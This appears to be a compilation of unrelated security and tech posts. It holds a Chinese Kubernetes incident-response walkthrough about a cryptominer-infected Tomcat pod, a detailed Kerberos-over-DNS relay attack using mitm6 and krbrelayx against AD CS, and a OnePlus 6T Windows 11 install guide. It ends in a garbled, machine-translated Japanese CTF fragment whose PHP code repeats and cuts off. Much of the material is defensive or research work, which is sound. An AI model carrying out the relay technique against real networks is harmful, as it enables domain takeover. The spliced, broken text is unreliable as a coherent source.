Kubernetes是什麼，Kubernetes是一個全新的基於容器技術的分佈式架構解決方案，是Google 開源的一個容器集群管理系統，Kubernetes簡稱K8S。用於自動部署、擴展和管理容器化（containerized）應用程序。在本文中，我們將介紹為何Kubernetes 的DFIR 如此重要，以及如何評估你的容器DFIR 功能。我們還將看到一個完整的場景，深入挖掘影響Kubernetes pod 的事件，以及要採取的對應步驟。 什麼是DFIR數字取證和事件響應(DFIR) 是網絡安全領域，包括在事件發生時採用的技術，重點是識別、檢查和響應網絡攻擊。 事件響應計劃發生安全事件時，每家公司都應應用其事件響應計劃(IRP) 中概述的技術。這是一個記錄在案的過程，它建立了在發生違規時要採用的指導方針。儘管每個公司的IRP 可能不同，但可以概括為以下四個主要步驟： 識別：對攻擊及其相關風險的快速深入調查可以在整個過程中發揮關鍵作用。此步驟通常涉及與受影響環境相關的所有安全事件、日誌和報告。 協調：一旦檢測到可能的事件，響應團隊必須評估該事件是否代表真正的安全事件。因此，它還必須決定是否響應它。 解決方案：該過程的這一步用於調查事件本身的原因，限制其影響，並在必要時將其隔離。在此步驟中，團隊應解決安全風險並實施補救措施。最終，它可以從備份中恢復受影響的系統、數據和服務，甚至修復受影響的環境。 工具推薦工具可以在識別、調查和響應網絡攻擊方面發揮關鍵作用。 前面描述的所有階段都應該始終得到有效工具的支持，這些工具可以促進攻擊的調查和響應。通過執行它們，你可以深入了解你控制的所有內容。你可以將證據自動存儲在你的私人遠程存儲中。此外，你可以監控你當前擁有的資源，以檢測意外的工作負載峰值，在發生事件或可疑網絡流量時接收警報，並及時做出響應。 以下是本文將使用的工具或在DFIR Kubernetes 期間可能用得著的工具： SIEM（例如ElasticSearch）：收集和存儲在你要監控的環境中生成的日誌和警報的應用程序，它在識別階段非常有用。 Falco：一種開源威脅檢測引擎，可根據一組規則在運行時觸發警報。 Falco 觸發的警報可以發送到SIEM 以收集運行時事件的證據。 Falcosidekick：一個開源工具，它接收Falco 的事件並以扇出方式將它們轉發到不同的輸出。 Prometheus：使用領先的開源監控解決方案為你的指標和警報提供支持。 Docker Explorer：一個能夠對快照捲進行離線取證分析的開源項目。 kube-forensics：一個開源項目，允許Kubernetes 集群管理員將任何受影響的pod 的工件存儲到AWS 存儲桶中。 Cloud Forensics Utils：一個開源項目，可以通過一組工具加快和簡化取證過程。 kubesploit：一個開源滲透測試框架，可以改善你掃描集群的網絡安全狀況。 因此，擁有工具並規劃正確的策略可以讓你跟踪和收集環境的證據，從而使管理和調查更容易。 Kubernetes 的分步取證程序現在，我們將模擬在Kubernetes 集群中發生網絡安全事件時如何評估DFIR。 在這個場景中，我們將看到如何檢測可能的事件、如何監控事件及其相關資源。最後，我們還將看到如何採取措施減少其影響。 識別過程我們用自己管理的Kubernetes集群，通過Kubernetes負載均衡器服務將我們的應用程序、網站和web服務器部署到網絡中。 如上述步驟所示，我們使用Falco 在運行時檢測事件。 Falco 是事實上的Kubernetes 威脅檢測引擎。它作為守護進程部署在我們集群的每個節點上，並配置了Falcosidekick，以便向本場景中採用的SIEM (Elasticsearch和Prometheus)發送警報。 為了使用Falco 監控整個集群，我們設置了自定義檢測規則，當遠程命令執行攻擊在我們的pod中發生時，這些規則就會觸發。 其中一條Falco 規則如下所示： 就在幾分鐘前，觸發了其中一個規則，生成了一些警報，現在我們可以在Falcosidekick UI中檢查所有事件信息。 似乎我們的一個Tomcat pod允許一個奇怪的下載，這可能是值得研究的有趣的事情。 一旦發現可疑情況，就可能需要深入評估事件的風險。你所擁有的工具可以給你很多建議，比如可以檢測到正在運行的可疑命令、敏感文件系統路徑中的更改文件以及意外的網絡流量。此外，高CPU 使用率和內存使用率可能表明存在惡意執行，並且可以使用Prometheus 等工具快速監控。 在這種特定情況下，已檢測到它具有很高的資源消耗（特別是受影響的Pod 使用了超過2 GB 的內存）！ 協調以減少風險暴露時間——Kubernetes 網絡政策首先，我們需要減少影響。讓我們開始通過Kubernetes 網絡策略隔離受影響的Pod。這樣，你將有機會控制入站和出站流量。 首先，刪除將受影響的Pod 與部署綁定的當前標籤。通過這樣做，我們會自動刪除傳入的流量。接下來，我們必須標記受影響的Pod： 這個新標籤將我們即將創建的網絡策略的範圍限制為僅標記的Pod，而不是整個名稱空間。 然後，根據文檔，明確拒絕策略的能力無法通過網絡策略完成。為了實現我們的目標，隔離Pod，我們修改了最嚴格的策略（deny-all）並將podSelector 修改為僅適用於受影響的pod。如果有其他NetPol 影響所有pod，則行為可能與預期不同。 這將阻止任何進出受影響pod 的入站或出站連接。 這是另一個示例，表明我們無法從帶有藍色標籤的Pod 中獲取信息，並且綠色標籤的pod 不受影響。 對工作節點進行標籤和封鎖為了隔離攻擊並使調查更容易，我們可以標記部署pod 的工作節點。這樣就可以簡化該節點的區分。 另一個最佳實踐是“封鎖”工作節點。它確保Kubernetes 調度程序將該節點視為不可調度，並阻止在其上部署新的Pod。因此，如果資源允許，新的Pod 將被調度到其他地方，而受影響節點上已經運行的Pod 將被保留。這不會改變受影響的Pod，也不會改變要在其中進行的調查過程。 這對於隔離節點並調查由於容器逃逸而導致的危害非常有用。順便說一句，在本文中，我們僅僅假設攻擊將仍然局限於受影響的pod。 我們已經執行了一些必要的步驟來隔離受影響Pod 中的惡意執行。使用Kubernetes 網絡策略，我們已經確定不允許來自受影響的pod 的傳入或傳出連接。此外，我們標記了涉及的Pod，並阻止在Pod 運行的節點中進行新的部署。有時，你還可以刪除或撤銷受影響的工作節點/Pod 權限或安全憑證，以避免攻擊傳播到其他雲資源。 但是，我們仍然需要了解攻擊是如何發生的，我們承擔的風險是什麼，以及它可能產生的影響。 DFIR Kubernetes方法——快速方法它可以被認為是最快的方法。將正在運行的容器隔離並仍在Kubernetes 集群中運行，你可以直接從其工作節點檢查它。 現在，讓我們跳轉到該節點並開始搜索受影響的容器ID。 現在我們知道了哪個是容器ID，這樣就可以開始深入挖掘它的細節。 似乎在Elasticsearch 收到日誌前幾秒鐘，在Tomcat 上部署了一個新的war 文件。這可能是攻擊的初始訪問，但讓我們繼續檢查容器文件系統自創建以來的更改。 更改：C 行是更改後的目錄。 追加：A 行是新添加的文件。 如前所述，似乎在Tomcat 管理器中添加的文件很少。而且，文件系統中還寫入了其他文件，例如zzz（已經在上面的Elasticsearch 日誌中顯示）。 為了查看機器中還有什麼在運行，我們還可以啟動docker top和stats命令。 高CPU 使用率，確認之前檢測到的內容。 我們還可以將容器的更改提交到新映像（通過docker commit）或將受影響的文件系統導出為tar 文件（通過docker export），以便存儲發生更改的工件。如果你想了解有關此技術的更多信息，請查看對惡意Docker 容器進行分類。 DFIR Kubernetes——離線方法Docker-explorer是一個開源項目，能夠對快照捲進行離線取證分析。 一旦我們確定了受影響的Pod 所在的Kubernetes 工作節點，最好的做法是對其文件系統進行快照。這可以通過雲提供商控制台或通過採用其他一些開源項目來完成，例如cloud-forensics-utils。有了快照卷，就可以進行事後分析，將其附加並安裝到將使用docker-explorer 的新虛擬機上。 Docker-explorer 可以列出所有docker 容器或僅列出已安裝卷中正在運行的容器。 一旦我們獲得了我們想要調查的容器ID，就可以提取日誌，就像我們之前使用docker logs 但最重要的功能是使用docker-explorer 將容器文件系統掛載到VM 中。 這將使我們能夠訪問受影響的容器文件系統。因此，從現在開始，我們將能夠調查之前監控的進程和文件（zzz、kdevtmpfsi、kinsing）。 例如，我們可以讀取zzz bash 腳本，或者我們可以提取ELF 文件的哈希值，以便通過VirusTotal 對其進行掃描。 正如預期的那樣，由於使用了大量的CPU，kdevtmpfsi 進程是一個挖礦程序。 Kube-forensics kube-forensics 是一個開源項目，允許集群管理員將任何受影響的pod 的工件存儲到S3 存儲桶中。它要求kube-forensics 創建的工作pod 具有將對象寫入AWS 存儲桶的必要權限。 這樣我們就可以將受影響的Pod 證據存儲到應用此PodCheckpoint 的S3 存儲中： 幾分鐘後，PodCheckpoint 將完成其執行，證據也會出現在目標S3 存儲桶中。 因此，除了保存pod 描述之外，kube-forensics 還以與我們之前在實時主機部分中所做的類似方式存儲與docker inspect 和docker diff 命令相關的結果。 對於“.export.tar”文件，它是可以通過docker export 命令獲得的文件，它可以將容器文件系統存儲在可以檢查發布的“.tar”文件中。 Kubernetes事件的解決和總結通過分析和調查違規行為，你可以識別你在集群中部署的易受攻擊的資產。 在此示例中，攻擊入口點由暴露在網絡中的易受攻擊的Tomcat Pod 表示。取證分析得出的結論是Tomcat 管理器不安全，因為它配置錯誤並且沒有影響其他Pod 或命名空間。 不過，有時受感染的Pod 可能會由於眾所周知或未知的漏洞而被利用。 作為事件響應階段的一部分，你應該從受感染的Pod 中學習，用更新和安全的Pod 替換它們。但是，如果無法保護你的工作負載，可能是因為它們還沒有可用的補丁，你應該採用其他解決方案。 例如，第一個是在發布新補丁之前刪除和刪除你的部署，只要你有足夠的關於發生的事情的信息。這是防止發生任何違規的最嚴格的方法，但它也會在可用性方面影響你的業務。 在其他一些情況下，你可能希望使用Falco 和Falcosidekick 來設置你的Kubernetes 響應引擎。當通過Falco 觸發特定事件時，它允許你在Kubernetes 集群中做出響應。例如，在前面的場景中，如果將具有通用文件名的新.war 文件部署到Tomcat 管理器中或檢測到RCE，我們可以採用終止pod 的規則。

最近James Forshaw發表的關於Kerberos中繼的博客推翻了以前不能中繼Kerberos的結論。其中介紹了一些技巧，可以將Windows身份驗證轉換為不同的服務主體名(Service Principal Name, SPN)，而不是通常從客戶機連接的主機名派生出來的服務主體名，這意味著Kerberos並非如我所設想的那樣是完全可靠的。這促使我去尋找一些其他的濫用途徑，包括我在幾年前研究過但從未付諸實踐的做法——中繼DNS認證。當你能夠使用mitm6通過DHCPv6欺騙來欺騙DNS服務器時，這一點尤其重要。在這個場景中，你可以使用Kerberos和它們的設備帳戶對受害設備進行可靠的身份驗證。這種身份驗證可以中繼到任何不強制執行完整性的服務，例如Active Directory證書服務(AD CS)基於http(s)的註冊，這反過來使它可以在該主機上以SYSTEM的形式執行代碼，正如我在AD CS中繼的博客中討論的那樣。與用mitm6中繼WPAD身份驗證相比，這種技術更快、更可靠、侵入性更小，但當然需要使用AD CS。這個博客描述了這項技術的背景，以及我對krbrelayx所做的更改，以便這次能夠支持真實的Kerberos中繼。 基於DNS 的Kerberos如果你熟悉Kerberos，就會知道DNS是擁有一個工作的Kerberos基礎設施的關鍵組件。但是你知道Active Directory中的DNS也支持使用Kerberos通過DNS進行身份驗證的操作嗎?這是“安全動態更新”操作的一部分，該操作用於保持動態地址的網絡客戶端的DNS記錄與其當前IP地址同步。下圖顯示了動態更新過程中涉及的步驟： 步驟如下（按照上面的數據包從上到下）。在此交換中，客戶端是Windows 10 工作站，服務器是一個具有DNS角色的域控制器。 客戶機在起始授權機構(SOA)記錄中查詢它的名稱，這表明客戶機所在的域的哪個服務器是授權的。 服務器響應授權的DNS服務器，在本例中是DC icorp-dc.internal.corp。 客戶端嘗試在區域internal.corp 中使用其名稱對A 記錄進行動態更新。 這個動態更新被服務器拒絕，因為沒有提供身份驗證。 客戶端使用TKEY 查詢來協商經過身份驗證的查詢的密鑰。 服務器以TKEY 資源記錄作為回复，完成身份驗證。 客戶端再次發送動態更新，但現在伴隨著TSIG記錄，這是使用步驟5和6中建立的密鑰的簽名。 服務器確認動態更新，新的DNS記錄現在已經就位。 讓我們仔細看看步驟5和步驟6，TKEY查詢實際上是通過TCP發送的，因為它比UDP允許的最大512字節大很多。這主要是因為TKEY的附加記錄相當大，它包含了我們經常看到的Kerberos認證結構： 事實證明，此查詢包含完整的GSSAPI 和SPNEGO 結構，其中包含Kerberos AP-REQ。這本質上是對服務的正常Kerberos 身份驗證流程。回复再次包含一個GSSAPI 和SPNEGO 結構，指示認證成功，並使用AP-REP 回复。這個AP-REP包含一個新的會話密鑰，客戶端可以使用它來通過TSIG記錄對他們的DNS查詢簽名。請注意，encAPRepPart通常是用只有客戶機和服務器知道的會話密鑰加密的，但是因為我將測試域中各種系統的Kerberos密鑰加載到Wireshark接受的keytab中，所以我們可以對整個交換進行解密，以查看它包含什麼內容。 此流程的概念相當簡單（實際的實現並不簡單）。客戶機使用Kerberos進行身份驗證並安全地交換會話密鑰，然後使用該會話密鑰對進一步的更新查詢進行簽名。服務器可以存儲密鑰和經過身份驗證的用戶/計算機，並以一種經過身份驗證的方式處理更新，而不必將身份驗證綁定到特定的TCP套接字，因為稍後的查詢可能通過UDP發送。 濫用DNS身份驗證如果我們能夠攔截DNS查詢，那麼就有可能欺騙受害客戶端，讓其向我們發送真實DNS服務器的Kerberos票據。這種攔截可以在默認的Windows配置中由同一(V)LAN中的任何系統使用mitm6完成。 mitm6將自己宣傳為DNS服務器，這意味著受害者將把SOA發送到我們的假服務器，如果我們拒絕它們的動態更新，則使用Kerberos進行身份驗證。這就有點棘手了。通常，DNS服務器角色將在域控制器上運行。因此，DNS服務的服務票據已經適合於運行在DC上的服務，因為它們使用相同的帳戶，我們可以在票據中更改服務名稱。這意味著我們可以將此票據中繼到例如LDAP。然而，如果我們仔細查看TKEY查詢中的驗證器，我們會看到請求完整性（簽名）的標誌被設置了。 這將自動觸發LDAP簽名，這將使整個攻擊失敗，因為如果不對每條消息提供有效的加密簽名，我們就不能在之後與LDAP交互。我們無法生成此簽名，因為我們中繼了身份驗證，並且實際上並不擁有解密服務票據和提取會話密鑰所需的Kerberos密鑰。 這最初讓我碰壁有兩個原因： 當時，沒有任何已知的默認高值服務可以接受設置了完整性標誌的身份驗證，但不會在協議級別上強制它。 客戶端專門請求他們在其Kerberos 票證請求中使用的SPN 中的“dns”服務類。此SPN 僅在實際的DNS 服務器上設置，因此要中繼到的合法主機的數量非常少。 在閱讀了James的博客後，我重新審視了這個問題： 由於AD CS研究由Lee Christensen和Will Schroeder發表，我們在大多數AD環境中都有一個高價值的端口，並提供了在受害者身上執行代碼的可能性，正如我在上一篇關於AD CS中繼的博客中所描述的那樣。 正如James在他的博客中所描述的，許多服務類實際上會隱式地映射到HOST類。事實證明，這包括DNS，因此當受害者請求DNS服務的票據時，這實際上適用於任何帶有HOST SPN的帳戶。默認情況下，這是在域中的所有計算機帳戶上設置的，因此可以針對在這些帳戶下運行的任何服務。 解決了這兩個問題後，我們就可以將在偽DNS服務器上接收到的Kerberos身份驗證轉發到AD CS。當這一切完成後，我們可以為我們中繼的計算機帳戶請求證書，並使用NT哈希恢復技術或S4U2Self技巧。使用這些技術，我們可以獲得對受害計算機的SYSTEM訪問權限，只要AD CS http端口可用來中繼，這就有效地使其成為可靠的RCE。 對krbrelayx 和mitm6 的更改最初，krbrelayx並不是一種真正的中繼工具。相反，它通過使用不受約束的委託配置(系統)帳戶來捕獲Kerberos tgt，並且以與ntlmrelayx相同的方式使用這些tgt可以使用傳入NTLM身份驗證。由於現在有一個實際中轉Kerberos身份驗證的用例，所以我更新了krbrelayx中的功能，使其能夠在中轉模式而不是不受約束的委託模式下運行。如果你不指定任何NT哈希值或AES密鑰(這些密鑰可用於從傳入的Kerberos身份驗證中提取信息)，那麼它實際上將默認使用這種模式。簡而言之，現在可以使用krbrelayx中繼Kerberos身份驗證，儘管只支持中繼到HTTP和LDAP。至於mitm6，我已經添加了指定中繼目標的選項，當受害者詢問查詢SOA記錄時，該目標將是授權命名服務器響應中的主機名。這將使受害者為我們的目標服務而不是合法的DNS服務器請求Kerberos服務票據。 需要注意的一點是，當目標AD CS服務器不是受害者用於Kerberos操作的DC時，這種方法最有效。如果它們在同一主機上(例如在小型或實驗室環境中)，目標服務器同時是KDC和AD CS服務器，則可能導致受害者向你而不是DC發送Kerberos票據請求(TGS-REQ)。雖然你可以代理此流量，但這超出了本項目的範圍，你可能最終得不到任何身份驗證數據。 我們還得克服最後一個障礙。 Kerberos AP-REQ實際上並沒有告訴我們正在進行身份驗證的是哪個用戶，這只是在Authenticator的加密部分中指定的。所以我們不知道哪個用戶或設備帳戶正在向我們驗證。幸運的是，在默認的AD CS模板場景中，這實際上並不重要，因為這些場景允許將任何名稱指定為CN，而且無論如何它都會被Active Directory中的名稱覆蓋。但是，為了獲得最好的結果，我建議你在使用mitm6時將攻擊範圍限定在一台主機上，並在krbrelayx中使用—victim指定該主機名，這樣它就能正確地填寫字段。 攻擊示例讓我們看看這在實踐中是怎樣的。首先，我們設置krbrelayx，指定AD CS主機(在實際示例中為adscert.internal.corp)作為目標，並指定接口的IPv4地址作為綁定DNS服務器的接口。這可以防止與通常在例如Ubuntu 上偵聽環回適配器的DNS 服務器發生衝突。 然後我們設置mitm6，使用AD CS主機的名稱作為中繼目標： 我們等待受害者獲得IPv6 地址並連接到我們的惡意服務器： 屏幕截圖顯示，受害者試圖更新他們的DNS記錄，我們拒絕這樣做，因為缺乏認證。認證通過TCP發送給krbrelayx的DNS服務器，DNS服務器接受並轉發給AD CS： 我們看到了預期的流程： 受害者(192.168.111.73)查詢其主機名的SOA記錄。 我們指出我們的惡意DNS服務器是權威的名稱服務器，受害者將向其發送動態更新查詢。 該查詢被mitm6拒絕，這將表明受害者需要驗證他們的查詢。 客戶機與KDC對話，以獲得我們所指示的服務的Kerberos票據。 客戶端建立到krbrelayx的TCP連接，並發送包含Kerberos票據的TKEY查詢。 該票據被轉發到AD CS主機，從而導致我們的認證成功並頒發證書。 有了這個證書，我們可以使用PKINITtools(或Windows上的Rubeus)使用Kerberos進行認證，並模擬一個域管理員來訪問我們的受害者(在本例中是icorp-w10)： 使用smbclient.py，我們可以列出C驅動器，以證明我們有管理員訪問權限： 緩解措施此技術濫用Windows 和Active Directory 中的不安全默認設置。這裡的主要問題是Windows對IPv6的偏好，以及AD CS web應用程序的默認安全問題。這些問題可以通過以下方法加以緩解： 緩解mitm6mitm6 濫用了這樣一個事實，即使在僅IPv4 的環境中，Windows 也會查詢IPv6 地址。如果你在內部不使用IPv6，防止mitm6 的最安全方法是通過組策略在Windows 防火牆中阻止DHCPv6 流量和傳入路由器發布。完全禁用IPv6 可能會產生不必要的副作用。將以下預定義規則設置為阻止而不是允許可防止攻擊起作用： （入站）核心網絡——IPv6 的動態主機配置協議（DHCPV6-In）； （入站）核心網絡——路由器發布(ICMPv6-In)； （出站）核心網絡——IPv6 的動態主機配置協議（DHCPV6-Out）； 緩解對AD CS 的中繼默認CertSrv 網站不使用TLS，這應該首先強制執行，然後才能啟用進一步的保護。使用有效證書啟用TLS 後，在IIS 中啟用身份驗證的擴展保護將防止中繼攻擊。這應該在提供此服務的所有單個CA 服務器上的AD CS 的所有基於Web 的註冊功能上啟用。

0x00 前言Android滲透平台搭建的系列文章第二篇，介紹Android設備OnePlus6T上安裝Win11操作系統的方法，記錄細節。 測試設備：OnePlus 6T 10g+256g 邁凱倫 簡單理解：採用驍龍845處理器的手機設備能夠安裝Arm版的Win11 完整資料：https://renegade-project.cn/#/README 參考資料： http://www.oneplusbbs.com/thread-4446250-1.html https://forum.renegade-project.org/t/6-windows/194 https://www.bilibili.com/video/BV1kM4y137bR https://silime.gitee.io/2021/05/20/Windows10-on-arm64/ https://baijiahao.baidu.com/s?id=1721563590612500439wfr=spiderfor=pc 0x01 簡介本文將要介紹以下內容： 深度刷機的方法 安裝Win11的準備 安裝Win11的方法 0x02 深度刷機的方法這裡把深度刷機放在第一部分，是因為在刷機過程中很容易黑磚，只能通過深度刷機進行還原 在刷機過程中，錯誤的操作有可能導致手機無法開機，即9008 download模式，即常說的黑磚 這時只能通過深度刷機的方法重新刷入系統，也就是常說的救磚 救磚教程參考資料：http://www.oneplusbbs.com/thread-4446250-1.html 1.下載文件在救磚教程中提供的網盤進行下載 (1)9008驅動 網盤中的高通9008驅動（推薦）.exe (2)線刷救磚包 OnePlus 6T邁凱倫定製版有專用的救磚包，網盤中提供的邁凱倫救磚包是氧OS版，後續還需要升級成氫OS (3)一加萬能工具包 如果無法識別OnePlus 6T，可以安裝一加萬能工具包- 驅動安裝- 黑磚驅動 (4)氫OS系統安裝包 文件列表如下圖 2.安裝9008驅動運行高通9008驅動（推薦）.exe 3.安裝底層驅動(1)在Windows系統打開設備管理器，位置：我的電腦-右鍵-管理，在計算機管理中選擇設備管理器 (2)OnePlus 6T在關機狀態下，同時按住音量+和音量-不放，通過USB數據線將OnePlus 6T連接Windows系統 等待Windows系統自動安裝驅動 在設備管理器中，查看”端口（COM和LPT）”，如果出現Qualcomm HS-USB QDLoader 9008（COM3）代表底層驅動安裝成功，如下圖 (3)管理員身份運行MsmDownloadTool V4.0.exe 如下圖 點擊Start開始刷機，如下圖 等待一段時間，刷機成功，如下圖 OnePlus 6T會自動開機，進行初始化，默認安裝氧OS 4.刷入氫OS網盤中提供的邁凱倫救磚包是氧OS版，需要刷成氫OS，可以使用OnePlus 6T內置的本地升級功能 (1)將OnePlus6THydrogen_41_OTA_032_all_1903251445_5c8a300ab3b84fa5.zip複製到OnePlus 6T的根目錄 (2)在OnePlus 6T上依次選擇設置- 系統- 系統更新- 右上角設置- 本地升級，選擇OnePlus6THydrogen_41_OTA_032_all_1903251445_5c8a300ab3b84fa5.zip 等待升級完成，點擊重啟手機 5.升級氫OS Android 10在OnePlus 6T上依次選擇設置- 系統- 系統更新，進行在線升級 在線升級後，最新版本為Android 11，在安裝Win11之前我們先需要降級到Android 10，可以採用以下方法進行降級： 下載降級包：https://download.h2os.com/OnePlus6T/Back/OnePlus6THydrogen_34.K.51_OTA_051_all_2105262300_downgrade_e10c56ab63f04596.zip 在OnePlus 6T上依次選擇設置- 系統- 系統更新- 右上角設置- 本地升級，選擇OnePlus6THydrogen_34.K.51_OTA_051_all_2105262300_downgrade_e10c56ab63f04596.zip 補充：官方OnePlus 6T系統安裝包的下載地址： https://www.oneplus.com/cn/support/softwareupgrade/details?code=PM1574150307705 注： 我也考慮過在氫OS Android 9進行卡刷直接升級到OS Android 10的方法和在氫OS Android 11進行卡刷直接降級到OS Android 10的方法，但是這兩種方法我在測試過程中失敗了，都是因為無法通過Bootloader模式安裝TWRP 0x03 安裝Win11的準備Windows系統只需要配置adb和fastboot，然後是一些文件的下載 1.adb和fastboot需要下載到Windows系統並配置環境變量 這裡可以選擇一鍵下載配置，下載地址：https://forum.xda-developers.com/t/official-tool-windows-adb-fastboot-and-drivers-15-seconds-adb-installer-v1-4-3.2588979/#post-48915118 運行adb-setup-1.4.3.exe按照提示即可 2.TWRP下載下載頁面：https://twrp.me/oneplus/oneplus6t.html 下載地址： https://dl.twrp.me/fajita/twrp-3.6.1_9-0-fajita.img https://dl.twrp.me/fajita/twrp-installer-3.6.1_9-0-fajita.zip 下載得到文件twrp-3.6.1_9-0-fajita.img和twrp-installer-3.6.1_9-0-fajita.zip twrp-3.6.1_9-0-fajita.img用於通過fastboot啟動TWRP，twrp-installer-3.6.1_9-0-fajita.zip用於永久安裝TWRP 3.parted下載Linux下的分區工具 源碼下載地址：https://alpha.gnu.org/gnu/parted/parted-3.3.52.tar.xz 需要手動編譯 也可以下載編譯好的文件：https://pwdx.lanzoux.com/iUgSEmkrlmh 下載得到文件parted 4.驅動下載項目頁面:https://github.com/edk2-porting/WOA-Drivers 一加6T的下載地址：https://github.com/edk2-porting/WOA-Drivers/releases/download/v1.1.1/fajita.tar.gz 下載得到文件fajita.tar.gz 5.UEFI固件下載項目地址：https://github.com/edk2-porting/edk2-sdm845 一加6T的下載地址：https://github.com/edk2-porting/edk2-sdm845/releases/download/v1.1.1/boot-fajita-10g.img 下載得到文件boot-fajita-10g.img 6.Win11鏡像下載下載arm版的Win11鏡像文件，解壓後將sources\install.wim複製提取出來 最終得到文件install.wim 7.Dism++下載項目地址：https://github.com/Chuyu-Team/Dism-Multi-language 下載地址：https://github.com/Chuyu-Team/Dism-Multi-language/releases/download/v10.1.1002.1/Dism++10.1.1002.1.zip 解壓縮得到文件夾Dism++10.1.1002.1 8.WinPE 下載在參考資料中的百度網盤中下載 解壓縮後的文件列表如下： boot文件夾 efi文件夾 sources文件夾 bootmgr.efi文件 0x04 安裝Win11的方法1.解鎖Bootloader注： 解鎖Bootloader將擦除Android系統的所有數據 (1)啟動開發者選項 打開OnePlus 6T，依次選擇設置- 關於手機，多次點擊版本號可啟動開發者模式 (2)修改手機設置 依次選擇設置- 系統- 開發者選項，打開OEM解鎖、USB調試和高級重啟 按住電源鍵，選擇引導加載器，進入Bootloader模式，此時DEVICE STATE狀態為locked (3)連接設備 通過USB數據線將OnePlus 6T連接Windows系統 (4)解鎖 Windows系統的命令行執行： fastbootoemunlockOnePlus 6T用音量+選擇yes，按電源鍵進行確認 至此，解鎖完成。 解鎖操作將會清空所有數據，此時需要重新啟動開發者模式，打開USB調試和高級重啟 解鎖後每次開機會出現提示The bootloader is unlocked 2.刷入TWRP(1)進入Bootloader模式 在關機狀態下，同時按住電源鍵和音量- 也可以在開機狀態下，按住電源鍵，選擇引導加載器，進入Bootloader模式 此時DEVICE STATE狀態為unlocked (2)連接設備 通過USB數據線將OnePlus 6T連接Windows系統 通過Windows系統命令行查看設備： fastbootdevices能夠獲得回顯 (3)刷入TWRP Windows系統的命令行執行： fastbootboottwrp-3.6.1_9-0-fajita.img如下圖 等待OnePlus 6T啟動TWRP 3.分區進入TWRP後，將parted複製到OnePlus 6T的根目錄，將twrp-installer-3.6.1_9-0-fajita.zip複製到OnePlus 6T的根目錄 在TWRP中，安裝twrp-installer-3.6.1_9-0-fajita.zip，這是為了方便以後在進入Recovery模式會自動啟動TWRP 在TWRP中，選擇Reboot - Recovery，重新進入Recovery模式 此時可選擇兩種方式運行parted進行分區： (1)通過Windows的命令行執行 adbshell cp/sdcard/parted/sbin/ chmod755/sbin/parted umount/dataumount/sdcard parted/dev/block/sda(2)在OnePlus 6T的TWRP中直接操作 依次選擇Advanced - Terminal cp/sdcard/parted/sbin/ chmod755/sbin/parted umount/dataumount/sdcard parted/dev/block/sda執行cp /sdcard/parted /sbin/的原因是因為在執行umount /sdcard後，無法訪問/sdcard下的文件 查看分區： (parted)p刪除分區userdata： (parted)rm17創建分區： (parted)mkpartespfat326559MB7000MB (parted)mkpartpefat327000MB17000MB (parted)mkpartwinntfs17000MB200GB (parted)mkpartuserdataext4200GB246GB我的環境下，esp對應的分區號為17，對應的命令如下: (parted)set17espon在TWRP中，選擇Reboot - Recovery 4.格式化重新進入Recovery後依次選擇Advanced - Terminal，命令如下： mkfs.fat-F32-s1/dev/block/by-name/pe mkfs.fat-F32-s1/dev/block/by-name/esp mkfs.ntfs-f/dev/block/by-name/win mke2fs-text4/dev/block/by-name/userdata在TWRP中，選擇Reboot - Recovery，重新進入Recovery模式 5.掛載PE重新進入Recovery後，將以下文件複製到手機中： install.wim，Win11 ISO文件中的sources\install.wim boot，解壓自winpe efi，解壓自winpe sources，解壓自winpe bootmgr.efi，解壓自winpe Dism++10.1.1002.1 fajita，解壓自https://github.com/edk2-porting/WOA-Drivers/releases/download/v1.1.1/fajita.tar.gz boot-fajita-10g.img，下載自https://github.com/edk2-porting/edk2-sdm845/releases/download/v1.1.1/boot-fajita-10g.img 文件如下圖 注： 手機使用fat32格式，無法直接複製大於4G的文件，可以選擇將其複製到U盤中 選擇Advanced - Terminal，將文件複製到PE分區的命令如下： mount/dev/block/by-name/pe/mnt cp-r/sdcard/*/mnt6.切換分區，選擇Slot B在TWRP中，選擇Reboot - SlotB 7.啟動PE在TWRP中，選擇Install - Install Image - /mnt/boot-fajita-10g.img，刷入鏡像的分區選擇Boot 手機重啟後進入PE系統，在手機上接入鍵盤、鼠標和U盤 8.安裝Win11打開PE中的C:\Dism++10.1.1002.1\Dism++ARM64.exe 在Dism++的頁面，依次選擇文件- 釋放鏡像 第一個參數設置為install.wim 第二個參數安裝路徑設置為D盤 勾選添加引導 點擊確定 釋放完畢後需要修復引導，依次選擇工具箱- 修復引導 9.安裝Win11驅動在Dism++的頁面，依次選擇打開會話- 驅動管理- 添加驅動，選擇fajita文件夾即可 10.設置盤符我的環境下，esp對應的分區號為17，在PE中的CMD輸入以下命令： diskpart selectdisk0 listpart selectpart17 assignletter=Y exit打開Y盤確認是否成功創建文件夾EFI 11.關閉簽名驗證關閉簽名的命令如下： bcdedit/storeY:\efi\microsoft\boot\bcd/set{Default}testsigningon bcdedit/storeY:\efi\microsoft\boot\bcd/set{Default}nointegritycheckson關閉PE系統: shutdown-s-t012.進入Win11按電源鍵進行開機，等待安裝即可 補充1：Win11切換至Android 開機時按音量+，選擇UEFI BootMenu，再選擇Reboot to other slot 補充2：Android切換至Win11 進入Recovery模式，在TWRP中，選擇Reboot - SlotB 0x05 小結本文介紹了在OnePlus6T上安裝Win11的完整方法。

crypto 質問ラーンsm のサイン https://www.json.cn/encrypt/sm3 質問には小文字が必要なので、またはスクリプト：ハスリブのインポート メッセージ='heidun2024' hash_object=hashlib.new（ 'sm3'）hash_object.update（message.encode（ 'utf-8'））hash_value=hash_object.hexdigest（） 印刷（hash_value） ソースコードとデータを保護する必要があります PHPを使用してPHPを復号化するオンライン復号化ツール PHPソースコードを取得します ？phpfunction my_encode（$ str、$ key）{$ re=''; $ len=strlen（$ str）; for（$ i=0; $ i $ len; $ i ++）{$ c=substr（$ str、$ i、1）; $ k=substr（$ key、（$ i％strlen（$ key））、1）; $ num=ord（$ c）+ord（$ k）; if（$ num255）$ num-=256; $ re。=chr（$ num）; } return $ re;} function my_decode（$ str、$ key）{return 'something' ' file_put_contents（ 'data_encoded.txt'、$ mi）; echo 'data_encoded.txt';}に保存されました ？phpfunction my_encode（$ str、$ key）{$ re=''; $ len=strlen（$ str）; for（$ i=0; $ i $ len; $ i ++）{$ c=substr（$ str、$ i、1）; $ k=substr（$ key、（$ i％strlen（$ key））、1）; $ num=ord（$ c）+ord（$ k）; if（$ num255）$ num-=256; $ re。=chr（$ num）; } return $ re;} function my_decode（$ str、$ key）{return 'something' ' file_put_contents（ 'data_encoded.txt'、$ mi）; echo 'data_encoded.txt';} ? phpfunction my_encode（$ str、$ key）{$ re=''; $ len=strlen（$ str）; for（$ i=0; 